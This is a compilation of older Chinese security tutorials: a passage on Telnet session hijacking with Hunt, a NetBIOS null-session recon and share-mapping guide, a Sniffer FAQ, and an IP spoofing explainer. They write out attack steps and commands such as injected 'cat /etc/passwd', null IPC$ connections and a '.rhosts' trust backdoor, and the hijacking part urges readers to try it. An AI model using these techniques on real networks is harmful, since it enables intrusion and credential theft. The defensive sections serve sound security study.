Choose conn>0 //选择打算监视的会话。由于我的条件有限，不能模拟多个会话，请多见量。
Dump [s]rc/[d]st/oth > //回车
Print sec/dst same charactes y/n [n]> //回车
现在就可以监视会话了。主机A输入的一切内容，我们都可以看到，如图4。主机A在Telnet并登陆之后，直接su root，password：后边的就是root的密码。现在这个系统已经完全由你所控制了，自由发挥吧！
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> s //进行注射式会话劫持
0）192.168.0.1 [3465] ?192.168.0.20 [23]
choose conn> 0
dump connection y/n [n]>
Enter the command string you wish executed or [cr]> cat /etc/passwd
攻击者的意图是获取主机B的passwd文件的内容，但由于注射式会话劫持缺陷，导致了ACK风暴，所以Hunt向会话双方发送了一个带RST标志位的TCP包来阻止ACK风暴。具体如图5所示。
--- Main Menu --- rcvpkt 0, free/alloc 63/64 ------
l/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack
d) daemons rst/arp/sniff/mac
o) options
x) exit
*> a //进行中间人会话劫持
0）192.168.0.1 [3862] ?192.168.0.20 [23]
choose conn> 0
arp spoof src in dst y/n [y]>
src MAC [XX:XX:XX:XX:XX:XX]>
arp spoof dst in src y/n [y]>
dst MAC [XX:XX:XX:XX:XX:XX]>
input mode [r]aw, [l]ine+echo+\r, line+[e]cho [r]>
dump connectin y/n [y]> n
press key to take voer of connection
ARP spoof of 192.168.0.20 with fake mac XX:XX:XX:XX:XX:XX in host 192.168.0.1 FA
ILED
do you want to force arp spoof nutil successed y/n [y]>
CTRL-C to break
CTRL+C //手工输入CTRL+C中断，不需等待
-- operation canceled - press any key>
ARP spoof failed
ARP spoof of 192.168.0.20 in host 192.168.0.1 FAILED
you took over the connection
CTRL-] to break
-bash-2.05b$id
....................
现在，攻击者已经成功的劫持了主机A和B之间的Telnet会话。主机A输入的一切命令攻击者都可以看到，并且攻击者也可以自行插入命令，比如图6所示的例子。正如前边所说的，这种会话劫持方式先进行ARP欺骗，然后才劫持，所以，ACK风暴是不会出现的；而且，这种方式要比注射式会话劫持危害更大，从上文中我想就能看出来，我就不必在多说什么了。还有一些如Sniffer等功能，都很简单，由于已不在本文范畴，故不在多说。
三，会话劫持防范

防范会话劫持是一个比较大的工程。首先应该使用交换式网络替代共享式网络，虽然像Hunt这样的工具可以在交换环境中实现会话劫持，但还是应该使用交换式网络替代共享式网络，因为这样可以防范最基本的嗅探攻击。然而，最根本的解决办法是采用加密通讯，使用SSH代替Telnet、使用SSL代替HTTP，或者干脆使用IPSec/VPN，这样会话劫持就无用武之地了。其次，监视网络流量，如发现网络中出现大量的ACK包，则有可能已被进行了会话劫持攻击。
还有一点是比较重要的，就是防范ARP欺骗。实现中间人攻击的前提是ARP欺骗，如能阻止攻击者进行ARP欺骗，中间人攻击还怎样进行？！如何防范ARP欺骗，黑客防线有过详细的介绍，可以参考2003年第9期杂志。
总结
对于渗透内部网络，会话劫持确实是一种比较有效的方法，我们应该掌握。本文的实践性很强，请大家务必动手试试，并希望能掌握此技术。Hunt这个强悍的工具使用方法很简单，但却可以把会话劫持发挥淋漓尽致，真佩服作者的编程功底。


通过NETBIOS实现信息收集与渗透
网络入侵者通常采取的第一步是通过端口扫描程序扫描目标机或网络。令人吃惊的是，以目标机的开放端口为基础对网络进行的攻击是多么的有条不紊。您应该清楚，除了Unix机外，这是NT机显示不同开放端口的标准。网络入侵者懂得查看端口扫描程序，并通过相当准确的结果来断定它是一台NT机还是一台Unix机。当然也有一些例外，但一般情况下都能这样做。最近，业界发布了几个用来远程鉴别机器的工具，但该功能目前还不能用于NT。
当攻击基于NT的网络时，NetBIOS往往是首选的攻击对象。因此，NetBIOS就成为本文中第一个要探讨的重要课题。用NetBIOS进行信息收集相当容易，虽然要花费一点时间。etBIOS一般被看作是开销，很大的大容量协议，速度往往很慢，这也就是要耗费时间的原因。如果端口扫描程序报告端口139在目标机上是开放的，那么接下来就是一个很自然的过程。第一步是发出NBTSTAT命令。
NBTSTAT命令可以用来查询涉及到NetBIOS信息的网络机器。另外，它还可以用来
消除NetBIOS高速缓存器和预加载LMHOSTS文件。这个命令在进行安全检查时非常有用。

用法：
nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S]
[-s]
[interval]
参数-a列出为其主机名提供的远程计算机名字表。
-A列出为其IP地址提供的远程计算机名字表。
-c列出包括了IP地址的远程名字高速缓存器。
-n列出本地NetBIOS名字。
-r列出通过广播和WINS解析的名字。
-R消除和重新加载远程高速缓存器名字表。
-S列出有目的地IP地址的会话表。
-s列出会话表对话。

NBTSTAT生成的列标题具有以下含义：
Input
接收到的字节数。
Output
发出的字节数。
In/Out
无论是从计算机（出站）还是从另一个系统连接到本地计算机（入站）。
Life
在计算机消除名字表高速缓存表目前“度过”的时间。
Local Name
为连接提供的本地NetBIOS名字。
Remote Host
远程主机的名字或IP地址。
Type
一个名字可以具备两个类型之一：unique or group
在16个字符的NetBIOS名中，最后一个字节往往有具体含义，因为同一个名可以在同一台计算机上出现多次。这表明该名字的最后一个字节被转换成了16进制。
State
NetBIOS连接将在下列“状态”（任何一个）中显示：
状态含义：
Accepting: 进入连接正在进行中。
Associated: 连接的端点已经建立，计算机已经与IP地址联系起来。
Connected: 这是一个好的状态！它表明您被连接到远程资源上。
Connecting: 您的会话试着解析目的地资源的名字-IP地址映射。
Disconnected: 您的计算机请求断开，并等待远程计算机作出这样的反应。
Disconnecting: 您的连接正在结束。
Idle: 远程计算机在当前会话中已经打开，但现在没有接受连接。
Inbound: 入站会话试着连接。
Listening: 远程计算机可用。
Outbound: 您的会话正在建立TCP连接。
Reconnecting: 如果第一次连接失败，就会显示这个状态，表示试着重新连接.
下面是一台机器的NBTSTAT反应样本：
C:\>nbtstat CA x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIFQUE Registered
DATARAT <01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00

您通过下表能掌握有关该机器的哪些知识呢？
名称编号类型的使用：
00 U 工作站服务
01 U 邮件服务
\_MSBROWSE_ 01 G 主浏览器
03 U 邮件服务
06 U RAS服务器服务
1F U NetDDE服务
20 U 文件服务器服务
21 U RAS客户机服务
22 U Exchange Interchange
23 U Exchange Store
24 U Exchange Directory
30 U 调制解调器共享服务器服务
31 U 调制解调器共享客户机服务
43 U SMS客户机远程控制
44 U SMS管理远程控制工具
45 U SMS客户机远程聊天
46 U SMS客户机远程传输
4C U DEC Pathworks TCP/IP服务
52 U DEC Pathworks TCP/IP服务
87 U Exchange MTA
6A U Exchange IMC
BE U网络监控代理
BF U网络监控应用
03 U邮件服务
00 G域名
1B U域主浏览器
1C G域控制器
1D U主浏览器
1E G浏览器服务选择
1C G Internet信息服务器
00 U Internet信息服务器
[2B] U Lotus Notes服务器
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan网关服务
Unique (U): 该名字可能只有一个分配给它的IP地址。在网络设备上，一个要注册的名字
可以出现多次，但其后缀是唯一的，从而使整个名字是唯一的。
Group (G): 一个正常的群；一个名字可以有很多个IP地址。
Multihomed (M): 该名字是唯一的，但由于在同一台计算机上有多个网络接口，
这个配置可允许注册。这些地址的最大编号是25。
Internet Group (I): 这是用来管理WinNT域名的组名字的特殊配置。
Domain Name (D): NT 4.0提供的新内容。
网络入侵者可以通过上表和从nbtstat获得的输出信息开始收集有关您的机器的信息。
有了这些信息，网络入侵者就能在一定程度上断定有哪些服务正在目标机上运行，有时也
能断定已经安装了哪些软件包。从传统上讲，每个服务或主要的软件包都具有一定的脆弱性，因此，这一类型的 信息 对网络入侵者当然有用。
第二篇，主要讲建立空连接。
希望大家继续捧场！
第二个逻辑步骤是通过远程机收集可能的用户名。网络登录包括两个部分：用户名和口令。一旦网络入侵者掌握了有效的用户列表，他就能获得一半的有效登录信息。现在，采用了nbtstat命令，网络入侵者就能掌握从本地注册到该台机器上的任何人的登 录名。 在通过nbtstat命令得到的结果中，采用<03>识别符的表目是用户名或机器名。另 外，还 可以通过空IPC会话和SID工具来收集用户名（详细内容见“SID工具”，附录B） 。 IPC$（进程间通信）共享是NT主机上一个标准的隐藏共享，主要用于服务器到服 务器 的通信。NT主机用来互相连接并通过这个共享来获得各种必要的信息。鉴于在各 种操作系 统中都有很多设计特征，网络入侵者已经懂得利用这种特征来达到他们的目的。 通过连接 这个共享，网络入侵者从技术上就能够实现与您的服务器的有效连接。通过与这 个共享的空连，网络入侵者就能够在不需要提供任何身份证明的情况下建立这一连接。
要与IPC$共享进行空连接，网络入侵者就在命令提示符下发出如下命令：
c:\>net use \[目标主机的IP地址]\ipc$ "" /user:""
如果连接成功，网络入侵者就会有很多事情可做，不只是收集用户列表，不过他是以收集用户列表开始的。如上所述，这个方法需要一个空IPC会话和SID工具。由Evgenii Rudnyi编写的SID工具包括两个不同的部分：User2sid和Sid2user。User2sid采 用一个帐户名字或群组，给您一个对应的SID。而Sid2user采用一个SID，给您对 应的用户或群组的名字。作为一个独立的工具，这个进程是手工进行的，要消耗大量的时间。 Userlist.pl是monix编写的一个perl脚本，它将使这个SID进程自动化，从而 大大 缩短网络入侵者收集这些消息所花费的时间。
这时，网络入侵者就会了解到哪些服务正在远程机上运行以及已经安装了哪些主要的软件包（有限的），同时还能得到该机器上有效的用户名和群组列表。尽管这似乎是一个外来者所要掌握的有关您的网络的信息，但是，空IPC会话已经为信息收集留下了其它隐患。目前，Rhino9小组已经能够检索远程机的全部固有安全约束规则。帐户封锁 、最小口 令长度、口令使用周期、口令唯一性设置以及每一个用户、他们所归属的群组以 及该用户的个人域限制等所有信息都可以通过一个IPC空会话获得。这个信息收集功能将在近期发布的eviathan工具（由Rhino9小组编写）中提供。下面将对目前可用的一些工具进行探讨，这些工具可用来通过空IPC会话收集更多的信息.
结束了一个星期的外出生活，累死了，没有及时回复大家的问题，请谅解！

第三篇，介绍LMHOSTS文件。

现在我们对如何在这个方法中使用LMHOSTS文件进行论述。这是一个绝妙的方法，因为它能说明如何把前面介绍的方法与这个方法结合起来使用从而达到网络入侵者的目的。我们先从端口扫描程序开始，假设端口139是开放的，攻击者就会发出一个nbtstat命令。然后，他会通过nbtstat结果收集远程机的NetBIOS名字。
让我们来看看得出的nbtstat结果，与前面的结果相同：
C:\>nbtstat -A x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIQUE Registered
DATARAT <01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
通过检查nbtstat命令的结果，我们可以找到<03>识别符。如果有人从本地登录到 该 机器上，您就会看到两个<03>识别符。在一般情况下，第一个<03>识别符是机器的netbios名字，第二个<03>识别符是本地登录用户的名字。这时，网络入侵者就会把这台机器的netbios名字和IP地址映射放到他本地的LMHOSTS文件中，用#PRE和#DOM标 签终止表目。#PRE标签表示应该把表目预加载到netbios高速缓存器中。#DOM标签表示域活动。这 时，网络入侵者就会发出一个nbtstat CR命令，把表目预加载到他的高速缓存器 中。从技术角度来讲，这个预加载会使表目看起来好象已经由一些网络功能解析过，并使名字解析起来更加快捷。
下一步，网络入侵者会建立一个空IPC会话。一旦成功地建立了空IPC会话，网络入侵者就能启用域用户管理器的本地拷贝，并在用户管理器中利用选择域功能。接着，远程机的域就会出现（或者能够人工输入），因为它已经被预加载到高速缓存器中。如果远程机的安全性没有保障，用户管理器就会显示远程机上所有用户的列表。如果这是通过一个很缓慢的链接（如28.8K调制解调器）来进行的，那么在一般情况下就不会起作用。但如果 采用较快的网络连接，就会有成效。既然网络入侵者已经收集到有关您的机器的资料，下一步就是真正渗透您的机器 。我 们要探讨的第一个渗透方法是公开文件共享攻击。网络入侵者会把前面提到的net view命 令和net use命令结合起来实现这一攻击。
我们采用前面的net view命令对网络入侵者的攻击进行论述：
C:\> net view \0.0.0.0
Share name Type Used as Comment
----------------------------------------------------------------------
---------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.
一旦攻击者掌握了远程共享列表，他就会试着映射到远程共享。这一攻击的命令结构是：
c:\>net use x: \0.0.0.0\inetpub
只有当共享不设密码或分配给everyone群组时这一攻击才有效（注：everyone群组表示每个人。如果有人作为空用户连接，他们现在就是everyone群组的组成部分）。如果这些参数都正确，攻击者就能把网络驱动器映射到您的机器上并开始一系列的渗透攻击。请记住：网络入侵者并不局限于把驱动器映射到通过net view命令显示出来的共享上。了解NT的网络入侵者都知道NT隐藏了管理共享。根据默认值，NT为该机器上的每一个驱动器都创建IPC$共享和一个隐藏共享（即：一台有C、D和E驱动器的机器会有对应的C$、D$和E$ 的隐藏共享）。另外，还有一个直接映射到NT安装路径的隐藏ADMIN$共享（即：如果您把 NT安装在:\winnt目录下，ADMIN$就映射到该驱动器的确切位置）。Rhino9小组已经注意到，大多数NT安全界人士似乎都不大重视这个从一台内部NT机渗透另一台内部NT机的概念。在我们的专业检查过程中，Rhino9小组已经多次完成了这项任务。问题是，如果网络入侵者是有心的并能得到对您的一台机器的访问权限，他就会悄悄地潜入其余的网络机器。因此，这些共享攻击会造成严重的威胁。 （旁注：Rhino9小组曾经对位于佛罗里达州的一家大型ISP进行远程渗透检查。我们 先得到其技术人员个人机器上的共享访问权限，然后从那里得到整个网络的访问 权限。这是完全可以办到的。）
首先，有些人可能不会意识到有人在访问您的硬盘时对您的机器所造成的危险。访问硬盘为收集信息和安放特洛伊木马/病毒提供了新的途径。一般情况下，攻击者会寻找包含有口令或高度敏感的数据的内容，因为他能利用这些数据来继续深入您的网络。下面列出的是网络入侵者要寻找和利用的一些文件。我们对每一个文件及其使用方法都进行了简要的介绍。


Sniffer 常见问题集(FAQ)

By backend <backend@antionline.org>
http://www.nsfocus.com/

本文是ISS公司在几年前发布的一份Sniffer FAQ。虽然里面涉及的技术可能相对陈旧了一些，但仍然可作为入门级文档。希望这份Sniffer FAQ能够帮助管理员们对网络监听及解决方法有一个较为清楚的认识。Sniffer已成为当今互联网上最常见的主机入侵手段之一。
在绿盟网络安全月刊中，我还将陆续介绍Sniffer、Sniffer的克星——Anti-Sniffer和Anti-Sniffer的克星——Anti Anti-Sniffer。希望对这方面有兴趣的朋友如果有些什么好资料或建议，请与我联系。

FAQ目录：
* 什么是sniffer及其工作原理
* 哪里可以得到sniffer
* 如何监测主机正在窃听（sniffed）
* 阻止sniffer
o 主动集线器
o 加密
o Kerberos
o 一次性口令技术
o 非混杂模式网络接口设备
什么是sniffer及其工作原理
与电话电路不同，计算机网络是共享通讯通道的。支持每对通讯计算机独占通道的交换机/集线器仍然过于昂贵。共享意味着计算机能够接收到发送给其它计算机的信息。捕获在网络中传输的数据信息就称为sniffing（窃听）。
以太网是现在应用最广泛的计算机连网方式。以太网协议是在同一回路向所有主机发送数据包信息。数据包头包含有目标主机的正确地址。一般情况下只有具有该地址的主机会接受这个数据包。如果一台主机能够接收所有数据包，而不理会数据包头内容，这种方式通常称为“混杂”模式。
由于在一个普通的网络环境中，帐号和口令信息以明文方式在以太网中传输，一旦入侵者获得其中一台主机的root权限，并将其置于混杂模式以窃听网络数据，从而有可能入侵网络中的所有计算机。
哪里可以得到sniffer
Sniffer是黑客们最常用的入侵手段之一。例如Esniff.c，是一个小巧的工具，运行在SunOS平台，可捕获所有telnet、ftp、rloing会话的前300个字节内容。这个由Phrack开发的程序已成为在黑客中传播最广泛的工具之一。
你可以在经过允许的网络中运行Esniff.c，了解它是如何有效地危及本地机器安全。
以下是一些也被广泛用于调试网络故障的sniffer工具：
* Etherfind on SunOs
* Snoop on Solaris 2.x and SunOs
* Tcpdump
* Packetman, Interman, Etherman, Loadman
商用sniffer：
* Network General.
Network General开发了多种产品。最重要的是Expert Sniffer，
它不仅仅可以sniff，还能够通过高性能的专门系统发送/接收数
据包，帮助诊断故障。还有一个增强产品"Distrbuted Sniffer
System"可以将UNIX工作站作为sniffer控制台，而将sniffer
agents（代理）分布到远程主机上。
* Microsoft's Net Monitor
对于某些商业站点，可能同时需要运行多种协议——NetBEUI、
IPX/SPX、TCP/IP、802.3和SNA等。这时很难找到一种sniffer帮助
解决网络问题，因为许多sniffer往往将某些正确的协议数据包当
成了错误数据包。Microsoft的Net Monitor（以前叫Bloodhound）
可以解决这个难题。它能够正确区分诸如Netware控制数据包、NT
NetBios名字服务广播等独特的数据包。（etherfind只会将这些数
据包标识为类型0000的广播数据包。）这个工具运行在MS Windows
平台上。它甚至能够按MAC地址（或主机名）进行网络统计和会话
信息监视。只需简单地单击某个会话即可获得tcpdump标准的输出。
过滤器设置也是最为简单的，只要在一个对话框中单击需要监视的
主机即可。
如何监测主机正在窃听（sniffed）
要监测只采集数据而不对任何信息进行响应的窃听设备，需要逐个仔细检查以太网上所有物理连接。
不可能通过远程发送数据包或ping就可以检查计算机是否正在窃听。
一个主机上的sniffer会将网络接口置为混杂模式以接收所有数据包。对于某些UNIX系统，通过监测到混杂模式的网络接口。虽然可以在非混杂模式下运行sniffer，但这样将只能捕获本机会话。入侵者也可能通过在诸如sh、telnet、rlogin、in.telnetd等程序中捕获会话，并将用户操作记录到其它文件中。这些都可能通过监视tty和kmem等设备轻易发现。只有混杂模式下的sniffing才能捕获以太网中的所有会话，其它模式只能捕获本机会话。
对于SunOS、NetBSD和其它BSD Unix系统，如下命令：
"ifconfig -a"
会显示所有网络接口信息和是否在混杂模式。DEC OSF/1和IRIX等系统需要指定设备。要找到系统中有什么网络接口，可以运行如下命令：
# netstat -r
Routing tables
Internet:
Destination Gateway Flags Refs Use Interface
default iss.net UG 1 24949 le0
localhost localhost UH 2 83 lo0
然后通过如下命令检查每个网络接口：
#ifconfig le0
le0: flags=8863
inet 127.0.0.1 netmask 0xffffff00 broadcast 255.0.0.1
入侵者经常会替换ifconfig等命令来避开检查，因此一定要检查命令程序的校验值。
在ftp.cert.org:/pub/tools/的cpm程序（SunOS平台）可以检查接口是否有混杂模式标记。
对于Ultrix系统，使用pfstat和pfconfig命令也可能监测是否有sniffer运行。
pfconfig指定谁有权限运行sniffer。
pfstat显示网络接口是否处于混杂模式。
这些命令只在sniffer与内核存在链接时有效。而在缺省情况，sniffer是没有与内核链接的。大多数的Unix系统，例如Irix、Solaris、SCO等，都没有任何标记来指示是否处于混杂模式，因此入侵者能够窃听整个网络而却无法监测到它。
通常一个sniffer的记录文件会很快增大并填满文件空间。在一个大型网络中，sniffer明显加重机器负荷。这些警告信息往往能够帮助管理员发现sniffer。建议使用lsof程序搜索访问数据包设备（如SunOS的/dev/nit）的程序和记录文件。
阻止sniffer
主动式集线器只向目标地址主机发送数据包，从而使混杂模式sniffer失效。它仅适用于10Base-T以太网。（注：这种现在已在计算机市场消失。）
只有两家厂商曾生产过主动式集线器：
* 3Com
* HP
随着交换机的成本和价格的大幅度降低，交换机已成为非常有效的使sniffer失效的设备。目前最常见的交换机在第三层（网络层）根据数据包目标地址进行转发，而不太采取集线器的广播方式，从而使sniffer失去了用武之地。
加密
目前有许多软件包可用于加密连接，从而使入侵者即使捕获到数据，但无法将数据解密而失去窃听的意义。
以下是以前常用的一些软件包
* deslogin
coast.cs.purdue.edu:/pub/tools/unix/deslogin .
* swIPe
ftp.csua.berkeley.edu:/pub/cypherpunks/swIPe/
* Netlock
Kerberos
Kerberos是另一个加密网络中帐号信息的软件包。它的缺点是所有帐号信息都存放在一台主机中，如果该主机被入侵，则会危及整个网络安全。另外配置它也不是一件简单的事情。Kerberos包括流加密rlogind和流加密telnetd等，它可以防止入侵者捕获用户在登录完成后所进行的操作。
Kerberos FAQ可从ftp站点rtfm.mit.edu中得到：
/pub/usenet/comp.protocols/kerberos/Kerberos_Users__Frequently_Asked_Questions_1.11
一次性口令技术
S/key和其它一次性口令技术一样，使窃听帐号信息失去意义。S/key的原理是远程主机已得到一个口令（这个口令不会在不安全的网络中传输），当用户连接时会获得一个“挑战”(challenge)信息，用户将这个信息和口令经过某个算法运算，产生正确的“响应”(response)信息（如果通讯双方口令正确的话）。这种验证方式无需在网络中传输口令，而且相同的“挑战/响应”也不会出现两次。S/key可从以下网址得到：ftp://thumper.bellcore.com/pub/nmh/skey
还有一种一次性口令技术是ID卡系统。每个授权用户都有一个产生用于访问各自帐号的数字号码的ID卡。如果没有这个ID卡，不可能猜出这个数字号码。
以下是提供这类解决方案的公司资料：
Secure Net Key (SNK)
Digital Pathways, Inc.
201 Ravendale Dr. Mountainview, Ca.
97703-5216 USA
Phone: 415-964-0707 Fax: (415) 961-7487
Secure ID
Security Dynamics,
One Alewife Center
Cambridge, MA 02140-2312
USA Phone: 617-547-7820
Fax: (617) 354-8836
Secure ID uses time slots as authenication rather than challenge/response.
ArKey and OneTime Pass
Management Analytics
PO Box 1480
Hudson, OH 44236
Email: fc@all.net
Tel:US+216-686-0090 Fax: US+216-686-0092
WatchWord and WatchWord II
Racal-Guardata
480 Spring Park Place
Herndon, VA 22070
703-471-0892
1-800-521-6261 ext 217
CRYPTOCard
Arnold Consulting, Inc.
2530 Targhee Street, Madison, Wisconsin
53711-5491 U.S.A.
Phone : 608-278-7700 Fax: 608-278-7701
Email: Stephen.L.Arnold@Arnold.Com
CRYPTOCard is a modern, SecureID-sized, SNK-compatible device.
SafeWord
Enigma Logic, Inc.
2151 Salvio #301
Concord, CA 94520
510-827-5707 Fax: (510)827-2593
For information about Enigma ftp to: ftp.netcom.com in directory
/pub/sa/safeword
Secure Computing Corporation:
2675 Long Lake Road
Roseville, MN 55113
Tel: (612) 628-2700
Fax: (612) 628-2701
debernar@sctc.com
非混杂模式网络接口设备
以前，大多数IBM DOS兼容机器的网卡都不支持混杂模式，所以无法进行sniffing。但DOS已退出计算机网络舞台，对于现在计算机市场中的网络接口设备，请向供应商查询是否为非混杂模式设备（即不支持混杂模式）。

资料来源： Internet Security Systems, Inc.


IP欺骗与盗用原理

IP欺骗的技术比较复杂，不是简单地照猫画老虎就能掌握，但作为常规攻击手段，有必要理解其原理，至少有利于自己的安全防范，易守难攻嘛。

    假设B上的客户运行rlogin与A上的rlogind通信：

1. B发送带有SYN标志的数据段通知A需要建立TCP连接。并将TCP报头中的sequence number设置成自己本次连接的初始值ISN。

2. A回传给B一个带有SYS+ACK标志的数据段，告之自己的ISN，并确认B发送来的第一个数据段，将acknowledge number设置成B的ISN+1。

3. B确认收到的A的数据段，将acknowledge number设置成A的ISN+1。

B ---- SYN ----> A
B <---- SYN+ACK ---- A B ---- ACK ----> A

    TCP使用的sequence number是一个32位的计数器，从0-4294967295。 TCP为每一个连接选择一个初始序号ISN，为了防止因为延迟、重传等扰乱三次握手，ISN不能随便选取，不同系统有不同算法。理解TCP如何分配ISN以及ISN随时间变化的规律，对于成功地进行IP欺骗攻击很重要。

    基于远程过程调用RPC的命令，比如rlogin、rcp、rsh等等，根据/etc/hosts.equiv以及$HOME/.rhosts文件进行安全校验，其实质是仅仅根据信源IP地址进行用户身份确认，以便允许或拒绝用户RPC。

    IP欺骗攻击的描述：

1. 假设Z企图攻击A，而A信任B，所谓信任指/etc/hosts.equiv和$HOME/.rhosts中有相关设置。注意，如何才能知道A信任B呢？没有什么确切的办法。我的建议就是平时注意搜集蛛丝马迹，厚积薄发。一次成功的攻击其实主要不是因为技术上的高明，而是因为信息搜集的广泛翔实。动用了自以为很有成就感的技术，却不比人家酒桌上的巧妙提问，攻击只以成功为终极目标，不在乎手段。

2. 假设Z已经知道了被信任的B，应该想办法使B的网络功能暂时瘫痪，以免对攻击造成干扰。著名的SYN flood常常是一次IP欺骗攻击的前奏。请看一个并发服务器的框架：

int initsockid, newsockid;
if ((initsockid = socket(...)) <0) {
error("can't create socket");
}
if (bind(initsockid, ...) <0) {
error("bind error");
}
if (listen(initsockid, 5) <0) {
error("listen error");
}
for (;{
newsockid = accept(initsockid, ...); /* 阻塞 */
if (newsockid <0) {
error("accept error");
}
if (fork() == 0) { /* 子进程 */
close(initsockid);
do(newsockid); /* 处理客户方请求 */
exit(0);
}
close(newsockid);
}

listen函数中第二个参数是5，意思是在initsockid上允许的最大连接请求数目。如果某个时刻initsockid上的连接请求数目已经达到5，后续到达initsockid的连接请求将被TCP丢弃。注意一旦连接通过三次握手建立完成，accept调用已经处理这个连接，则TCP连接请求队列空出一个位置。所以这个5不是指initsockid上只能接受5个连接请求。SYN flood正是一种 Denial of Service，导致B的网络功能暂时中断

Z向B发送多个带有SYN标志的数据段请求连接，注意将信源IP 地址换成一个不存在的主机X；B向子虚乌有的X发送SYN+ACK数据段，但没有任何来自X的ACK出现。B的IP层会报告B的TCP层，X不可达，但B的TCP层对此不予理睬，认为只是暂时的。于是B在这个initsockid上再也不能收正常的连接请求。

Z(X) ---- SYN ----> B
Z(X) ---- SYN ----> B
Z(X) ---- SYN ----> B
Z(X) ---- SYN ----> B
Z(X) ---- SYN ----> B
......
X <---- SYN+ACK ---- B
X <---- SYN+ACK ---- B
X <---- SYN+ACK ---- B
X <---- SYN+ACK ---- B
X <---- SYN+ACK ---- B
......

我认为这样就使得B网络功能暂时瘫痪，可我总觉得好象不对头。

    因为B虽然在initsockid上无法接收TCP连接请求，但可以在another initsockid上接收，这种SYN flood应该只对特定的服务(端口)，不应该影响到全局。当然如果不断地发送连接请求，就和用ping发洪水包一个道理，使得B的TCP/IP忙于处理负载增大。至于SYN flood，回头有机会我单独灌一瓢有关DoS的。如何使B的网络功能暂 碧被居 很多办法，根据具体情况而定，不再赘述。

3. Z必须确定A当前的ISN。首先连向25端口(SMTP是没有安全校验机制的)，与1中类似，不过这次需要记录A的ISN，以及Z到A的大致的RTT(round trip time)。这个步骤要重复多次以便求出RTT的平均值。现在Z知道了A的ISN基值和增加规律(比如每秒增 加128000，每次连接增加64000)，也知道了从Z到A需要RTT/2 的时间。必须立即进入攻击，否则在这之间有其他主机与A连接， ISN将比预料的多出64000。

4. Z向A发送带有SYN标志的数据段请求连接，只是信源IP改成了B，注意是针对TCP513端口(rlogin)。A向B回送SYN+ACK数据段，B已经无法响应，B的TCP层只是简单地丢弃A的回送数据段。

5. Z暂停一小会儿，让A有足够时间发送SYN+ACK，因为Z看不到这个包。然后Z再次伪装成B向A发送ACK，此时发送的数据段带有Z预测的A的ISN+1。如果预测准确，连接建立，数据传送开始。问题在于即使连接建立，A仍然会向B发送数据，而不是Z，Z 仍然无法看到A发往B的数据段，Z必须蒙着头按照rlogin协议标准假冒B向A发送类似 "cat + + >>~/.rhosts" 这样的命令，于是攻击完成。如果预测不准确，A将发送一个带有RST标志的数据段异常终止连接，Z只有从头再来。

Z(B) ---- SYN ----> A
B <---- SYN+ACK ---- A Z(B) ---- ACK ----> A
Z(B) ---- PSH ----> A
......

6. IP欺骗攻击利用了RPC服务器仅仅依赖于信源IP地址进行安全校验的特性，建议阅读rlogind的源代码。攻击最困难的地方在于预测A的ISN。我认为攻击难度虽然大，但成功的可能性也很大，不是很理解，似乎有点矛盾。考虑这种情况，入侵者控制了一台由A到B之间的路由器，假设Z就是这台路由器，那么A回送到B的数据段，现在Z是可以看到的，显然攻击难度骤然下降了许多。否则Z必须精确地预见可能从A发往B的信息，以及A期待来自B的什么应答信息，这要求攻击者对协议本身相当熟悉。同时需要明白，这种攻击根本不可能在交互状态下完成
，必须写程序完成。当然在准备阶段可以用netxray之类的工具进行协议分析。

7. 如果Z不是路由器，能否考虑组合使用ICMP重定向以及ARP欺骗等技术？没有仔细分析过，只是随便猜测而已。并且与A、B、Z之间具体的网络拓扑有密切关系，在某些情况下显然大幅度降低了攻击难度。注意IP欺骗攻击理论上是从广域网上发起的，不局限于局域网，这也正是这种攻击的魅力所在。利用IP欺骗攻击得到一个A上的shell，对于许多高级入侵者，得到目标主机的shell，离root权限就不远了，最容易想到的当然是接下来进行buffer overflow攻击。

8. 也许有人要问，为什么Z不能直接把自己的IP设置成B的？这个问题很不好回答，要具体分析网络拓扑，当然也存在ARP冲突、出不了网关等问题。那么在IP欺骗攻击过程中是否存在ARP冲突问题。回想我前面贴过的ARP欺骗攻击，如果B的ARP Cache没有受到影响，就不会出现ARP冲突。如果Z向A发送数据段时，企图解析A的MAC地址或者路由器的MAC地址，必然会发送ARP请求包，但这个ARP请求包中源IP以及源MAC都是Z的，自然不会引起ARP冲突。而ARP Cache只会被ARP包改变，不受IP包的影响，所以可以肯定地说，IP欺骗攻击过程中不存在ARP冲突。相反，如果Z修改了自己的IP，这种ARP冲突就有可能出现，示具体情况而言。攻击中连带B一起攻击了，其目的无非是防止B干扰了攻击过程， 如果B本身已经down掉，那是再好不过。

9. fakeip曾经沸沸扬扬了一下，我对之进行端口扫描，发现其tcp端口113是接收入连接的。和IP欺骗等没有直接联系，和安全校验是有关系的。当然，这个东西并不如其名所暗示，对IP层没有任何动作。

10. 关于预测ISN，我想到另一个问题。就是如何以第三方身份切断 A与B之间的TCP连接，实际上也是预测sequence number的问题。尝试过，也很困难。如果Z是A与B之间的路由器，就不用说了； 或者Z动用了别的技术可以监听到A与B之间的通信，也容易些； 否则预测太难。作者在3中提到连接A的25端口，可我想不明白的 是513端口的ISN和25端口有什么关系？看来需要看看TCP/IP内部实现的源代码。

未雨绸缪

